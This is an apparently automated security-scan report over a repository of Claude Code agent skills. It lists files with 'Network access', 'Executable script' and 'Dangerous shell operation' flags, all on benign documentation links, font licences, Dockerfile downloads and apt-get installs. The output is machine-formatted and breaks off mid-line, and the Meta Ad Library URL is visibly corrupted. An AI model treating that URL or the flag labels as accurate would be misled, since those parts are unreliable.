- [wdsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil) - Network accessline 817
- [wecutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wecutil) - Network accessline 818
- [wevtutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil) - Network accessline 819
- [where](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/where) - Network accessline 820
- [whoami](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami) - Network accessline 821
- [winnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt) - Network accessline 822
- [winnt32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winnt32) - Network accessline 823
- [winrs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs) - Network accessline 824
- [winsat mem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mem) - Network accessline 825
- [winsat mfmedia](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winsat-mfmedia) - Network accessline 826
- [wmic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic) - Network accessline 827
- [writer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/writer) - Network accessline 828
- [wscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript) - Network accessline 832
- [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)
harness/claude-code/skills/batch-files/references/windows-subsystem-on-linux.md
- Network accessline 5
- [WSL Home](https://learn.microsoft.com/en-us/windows/wsl/) - Network accessline 6
- [What is the Windows Subsystem for Linux (WSL)?](https://learn.microsoft.com/en-us/windows/wsl/about) - Network accessline 7
- [Install WSL](https://learn.microsoft.com/en-us/windows/wsl/install) - Network accessline 8
- [Install Linux on Windows Server](https://learn.microsoft.com/en-us/windows/wsl/install-on-server) - Network accessline 9
- [Manual install steps](https://learn.microsoft.com/en-us/windows/wsl/install-manual) - Network accessline 10
- [Best practices for setting up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment) - Network accessline 11
- [Comparing WSL 1 and WSL 2](https://learn.microsoft.com/en-us/windows/wsl/compare-versions) - Network accessline 12
- [What's new with WSL 2?](https://learn.microsoft.com/en-us/windows/wsl/compare-versions#whats-new-in-wsl-2) - Network accessline 13
- [Frequently Asked Questions](https://learn.microsoft.com/en-us/windows/wsl/faq) - Network accessline 14
- [Windows Subsystem for Linux is now open source](https://blogs.windows.com/windowsdeveloper/2025/05/19/the-windows-subsystem-for-linux-is-now-open-source/) - Network accessline 18
- [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/) - Network accessline 19
- [Windows Package Manager](https://learn.microsoft.com/en-us/windows/package-manager/) - Network accessline 20
- [Windows Insiders Program](https://insider.windows.com/getting-started) - Network accessline 24
- [Overview post with a collection of videos and blogs](https://devblogs.microsoft.com/commandline/learn-about-windows-console-and-windows-subsystem-for-linux-wsl/) - Network accessline 25
- [Command-Line blog](https://devblogs.microsoft.com/commandline/) - Network accessline 26
- [Windows Subsystem for Linux Blog](https://learn.microsoft.com/en-us/archive/blogs/wsl/) - Network accessline 27
- [GitHub issue tracker: WSL](https://github.com/microsoft/WSL/issues) - Network accessline 28
- [GitHub issue tracker: WSL documentation](https://github.com/MicrosoftDocs/WSL/issues) - Network accessline 34
- [Building and testing WSL](https://wsl.dev/dev-loop/) - Network accessline 35
- [Debugging WSL](https://wsl.dev/debugging/) - Network accessline 39
- [Overview](https://wsl.dev/technical-documentation/) - Network accessline 40
- [wsl.exe](https://wsl.dev/technical-documentation/wsl.exe/) - Network accessline 41
- [wslg.exe](https://wsl.dev/technical-documentation/wslg.exe/) - Network accessline 42
- [wslconfig.exe](https://wsl.dev/technical-documentation/wslconfig.exe/) - Network accessline 43
- [wslhost.exe](https://wsl.dev/technical-documentation/wslhost.exe/) - Network accessline 44
- [wslrelay.exe](https://wsl.dev/technical-documentation/wslrelay.exe/) - Network accessline 45
- [wslservice.exe](https://wsl.dev/technical-documentation/wslservice.exe/) - Network accessline 49
- [mini_init](https://wsl.dev/technical-documentation/mini_init/) - Network accessline 50
- [init](https://wsl.dev/technical-documentation/init/) - Network accessline 51
- [session leader](https://wsl.dev/technical-documentation/session-leader/) - Network accessline 52
- [relay](https://wsl.dev/technical-documentation/relay/) - Network accessline 53
- [gns](https://wsl.dev/technical-documentation/gns/) - Network accessline 54
- [localhost](https://wsl.dev/technical-documentation/localhost/) - Network accessline 55
- [plan9](https://wsl.dev/technical-documentation/plan9/) - Network accessline 59
- [Boot process](https://wsl.dev/technical-documentation/boot-process/) - Network accessline 60
- [Interop](https://wsl.dev/technical-documentation/interop/) - Network accessline 61
- [Drvfs & Plan9](https://wsl.dev/technical-documentation/drvfs/) - Network accessline 62
- [Systemd](https://wsl.dev/technical-documentation/systemd/)
harness/claude-code/skills/brag-sheet/SKILL.md
- Network accessline 203
- [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)
harness/claude-code/skills/bug-receipt/SKILL.md
- Network accessline 116
- [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)
harness/claude-code/skills/bug-receipt/references/receipt.schema.json
harness/claude-code/skills/bug-receipt/scripts/validate-receipt.mjs
- Executable scriptline 1
Executable file
harness/claude-code/skills/bug-reproduction-brief/SKILL.md
- Network accessline 116
- [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)
harness/claude-code/skills/build-evidence-map/references/map-schema.md
harness/claude-code/skills/build-evidence-map/scripts/contract.mjs
- Executable scriptline 1
Executable file
harness/claude-code/skills/build-evidence-map/scripts/validate.mjs
- Executable scriptline 1
#!/usr/bin/env node
harness/claude-code/skills/canvas-design/LICENSE.txt
harness/claude-code/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt
- Network accessline 1
Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt
- Network accessline 1
Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt
- Network accessline 1
Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt
- Network accessline 1
Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/DMMono-OFL.txt
- Network accessline 1
Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt
- Network accessline 1
Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Gloock-OFL.txt
- Network accessline 1
Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt
- Network accessline 1
Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Italiana-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt
- Network accessline 1
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Jura-OFL.txt
- Network accessline 1
Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt
- Network accessline 1
Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Lora-OFL.txt
- Network accessline 1
Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt
- Network accessline 1
Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/Outfit-OFL.txt
- Network accessline 1
Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt
- Network accessline 1
Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt
harness/claude-code/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt
- Network accessline 1
Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt
- Network accessline 1
Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt
- Network accessline 1
Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/Tektur-OFL.txt
- Network accessline 1
Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt
- Network accessline 1
Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt
- Network accessline 1
Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
harness/claude-code/skills/chaos-engineering/SKILL.md
- Network accessline 141
- [Principles of Chaos Engineering](https://principlesofchaos.org/) - Network accessline 142
- [AWS Fault Injection Service](https://docs.aws.amazon.com/fis/latest/userguide/what-is.html) - Network accessline 143
- [Azure Chaos Studio](https://learn.microsoft.com/en-us/azure/chaos-studio/chaos-studio-overview) - Network accessline 144
- [Chaos Mesh](https://chaos-mesh.org/docs/)
harness/claude-code/skills/cloud-design-patterns/SKILL.md
harness/claude-code/skills/code-tour/SKILL.md
- Network accessline 26
- CodeTour files live in `.tours/` and use the VS Code CodeTour extension: https://github.com/microsoft/codetour. - Network accessline 111
{ "$schema": "https://aka.ms/codetour-schema", - Network accessline 112
"$schema": "https://aka.ms/codetour-schema", - Network accessline 135
| Explain a function or class body | `selection` | Use when a block matters more than one line. | | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Com - Network accessline 136
| Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | | Focus a VS - Network accessline 137
| Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | - Network accessline 169
| What to study | URL | | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | - Network accessline 170
| --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/b - Network accessline 171
| `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | - Network accessline 172
| `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour | - Network accessline 173
| Minimal tutorial with tight `file+line` narration | https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour | - Network accessline 174
| Search for more `.tour` files | https://github.com/search?q=path%3A**%2F*.tour+&type=code | - Network accessline 176
Raw content tip: prefix `raw.githubusercontent.com` and drop `/blob/` for raw JSON access. For public repositories, users can open tours at `https://vscode.dev/github.com/<owner>/<repo>`. - Network accessline 229
### Share and follow-up - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available - Network accessline 230
- Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available - Network accessline 241
- [ ] Every `directory` path is relative to repo root and exists. - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - Network accessline 242
- [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - [ ] `ref` is a real branch, tag, or commit when set. - Network accessline 243
- [ ] Every `uri` is a complete real URL beginning with `https://`. - Network accessline 254
- [VS Code CodeTour extension](https://github.com/microsoft/codetour) - Network accessline 255
- [CodeTour schema URL](https://aka.ms/codetour-schema) - Network accessline 256
- [Code server contributing tour](https://github.com/coder/code-server/blob/main/.tours/contributing.tour) - Network accessline 257
- [A11y project code tour](https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour) - Network accessline 258
- [Rock paper scissors main tour](https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour) - Network accessline 259
- [GitHub Code Search for tours](https://github.com/search?q=path%3A**%2F*.tour+&type=code)
harness/claude-code/skills/code-tour/references/codetour-schema.json
- Network accessline 1
{ "$schema": "http://json-schema.org/draft-04/schema#", - Network accessline 2
"$schema": "http://json-schema.org/draft-04/schema#", - Network accessline 59
"uri": { "type": "string", "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs." - Network accessline 60
"type": "string", "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs." }, - Network accessline 61
"description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."
harness/claude-code/skills/code-tour/references/examples.md
- Network accessline 10
**Tour file:** https://github.com/microsoft/codetour/blob/main/.tours/intro.tour - Network accessline 24
"file": "src/player/index.ts", "line": 436, "description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/ - Network accessline 25
"line": 436, "description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" } - Network accessline 26
"description": "### Tour Player\n\nThe CodeTour player ...\n\n\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" - Network accessline 34
**Tour file:** https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour - Network accessline 57
**Tour file:** https://github.com/github/codespaces-codeql/blob/main/.tours/codeql-tutorial.tour - Network accessline 85
**Tour file:** https://github.com/github/codespaces-learn-with-me/blob/main/.tours/main.tour - Network accessline 101
**Tour file:** https://github.com/blackgirlbytes/copilot-todo-list/blob/main/.tours/main.tour - Network accessline 123
**Tour files:** - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour - Network accessline 124
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour - Network accessline 125
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/oci-and-infrastructure-as-code.tour - Network accessline 126
- https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/build-and-deployment-pipeline-function-tweet-retriever.tour - Network accessline 165
| `selection: {start, end}` | Highlight a block (function body, config section, type def) | a11yproject, oci-2021, codespaces-codeql | | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | - Network accessline 166
| `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | | `nextTour: "Title"` | Chain tour - Network accessline 167
| `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | - Network accessline 177
**Search all `.tour` files on GitHub:** https://github.com/search?q=path%3A**%2F*.tour+&type=code - Network accessline 178
https://github.com/search?q=path%3A**%2F*.tour+&type=code - Network accessline 191
- **DEV Community — "Onboard your codebase with CodeTour"**: https://dev.to/tobiastimm/onboard-your-codebase-with-codetour-2jc8 - Network accessline 192
- **Coder Blog — "Onboard to new projects faster with CodeTour"**: https://coder.com/blog/onboard-to-new-projects-faster-with-codetour - Network accessline 193
- **CodeTour GitHub Topics**: https://github.com/topics/codetour
harness/claude-code/skills/code-tour/scripts/generate_from_docs.py
harness/claude-code/skills/code-tour/scripts/validate_tour.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 11
- Directory paths that exist - Pattern regexes that compile AND match at least one line - URI format (must start with https://) - Network accessline 12
- Pattern regexes that compile AND match at least one line - URI format (must start with https://) - nextTour matches an existing tour title in .tours/ - Network accessline 13
- URI format (must start with https://) - Network accessline 218
uri = step["uri"] if not uri.startswith("https://") and not uri.startswith("http://"): warnings.append(f"{label}: URI should start with https://: {uri!r}") - Network accessline 220
warnings.append(f"{label}: URI should start with https://: {uri!r}")
harness/claude-code/skills/codeql/SKILL.md
- Network accessline 28
- Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from - Network accessline 30
- Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI. - Network accessline 243
- [CodeQL Action releases](https://github.com/github/codeql-action/releases)
harness/claude-code/skills/codeql/references/cli-commands.md
- Network accessline 9
Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases) - Network accessline 10
[https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
harness/claude-code/skills/codeql/references/compiled-languages.md
- Dangerous shell operationline 52
- **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.
harness/claude-code/skills/codeql/references/sarif-output.md
- Network accessline 9
- Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) - Network accessline 10
- Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json) - Network accessline 258
Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).
harness/claude-code/skills/codeql/references/troubleshooting.md
harness/claude-code/skills/commit-message-storyteller/SKILL.md
- Network accessline 33
Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.
harness/claude-code/skills/commit-message-storyteller/references/conventional-commits-guide.md
- Network accessline 3
Full spec: https://www.conventionalcommits.org/en/v1.0.0/
harness/claude-code/skills/competitor-ad-intelligence/SKILL.md
- Network accessline 13
Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 14
required. source: "https://github.com/gooseworks-ai/goose-skills" version: 1.0 - Network accessline 15
source: "https://github.com/gooseworks-ai/goose-skills" - Network accessline 66
| Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p - Network accessline 67
| --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va - Network accessline 68
| Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations | - Network accessline 69
| Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar - Network accessline 70
| Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site: - Network accessline 289
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills) - Network accessline 290
- [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>) - Network accessline 291
- [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)
harness/claude-code/skills/containerize-aspnet-framework/SKILL.md
- Network accessline 97
- The Windows Server SKU specified in containerization settings (Core or Full) - The Windows Server version specified in containerization settings (2016, 2019, or 2022) - Windows Server Core tags can be found at: https://github.com/mi - Network accessline 98
- The Windows Server version specified in containerization settings (2016, 2019, or 2022) - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing 5. Ens - Network accessline 99
- Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing - Network accessline 135
- Copy the `LogMonitorConfig.json` file to a directory in the container (e.g., C:\LogMonitor) - Download LogMonitor.exe from the Microsoft repository to the same directory - The correct LogMonitor.exe URL is: https://githu - Network accessline 136
- Download LogMonitor.exe from the Microsoft repository to the same directory - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Set the work - Network accessline 137
- The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 334
# Copy LogMonitor from the microsoft/windows-container-tools repository WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 335
WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe # Copy LogMonitorConfig.json from local files - Network accessline 336
RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe - Network accessline 434
- [ ] `docker build -t aspnet-app:latest .` was run, or the report explains why Docker build could not run in the current environment. ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework- - Network accessline 435
## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container - Network accessline 436
- [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - Network accessline 437
- [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe)
harness/claude-code/skills/containerize-aspnetcore/SKILL.md
- Network accessline 26
Use the user's request and the repository to identify the project path and settings. Defaults apply when the user omits a setting: .NET `8.0`, Linux distribution `debian`, no custom build/run base image, primary HTTP port `8080`, `ASPNETCOR - Network accessline 44
Keep the original settings vocabulary when translating user input: `[square brackets]`, `File/directory`, `Files/directories`, `[ProjectName (provide path to .csproj file)]`, `[8.0 or 9.0 (Default 8.0)]`, `[Specify base image to use for bui - Network accessline 57
3. Determine the .NET version by checking `TargetFramework`; map `net8.0` to `8.0` and `net9.0` to `9.0` unless the user overrides it. 4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation so - Network accessline 58
4. Select valid Microsoft base images unless custom images are specified. Preserve these documentation sources when choosing tags: - SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - ASP.NET Core runtim - Network accessline 59
- SDK image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - Network accessline 60
- ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md - Network accessline 61
- .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md - Network accessline 74
| Build configuration | Use `ARG BUILD_CONFIGURATION=Release`; pass `$BUILD_CONFIGURATION` to `dotnet build` and `dotnet publish` | | Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | - Network accessline 75
| Runtime user | Use `USER $APP_UID` by default. Do not create a new user unless the settings require it | | URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | | Entry point | Use `ENTRYPOINT [ - Network accessline 76
| URL binding | Set `ASPNETCORE_URLS=http://+:8080` unless the settings provide a different value | - Network accessline 95
COPY --from=build /app/publish . ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 96
ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 EXPOSE 8080 - Network accessline 97
ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 98
EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 99
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 100
CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 109
| Distribution | SDK example | ASP.NET runtime example | Package manager note | | --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm- - Network accessline 110
| --- | --- | --- | --- | | Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget c - Dangerous shell operationline 111
| Debian 12 | `mcr.microsoft.com/dotnet/sdk:8.0-bookworm-slim` or `9.0-bookworm-slim` | `mcr.microsoft.com/dotnet/aspnet:8.0-bookworm-slim` or `9.0-bookworm-slim` | `apt-get update && apt-get install -y curl wget ca-certificates libgdiplus - Network accessline 111
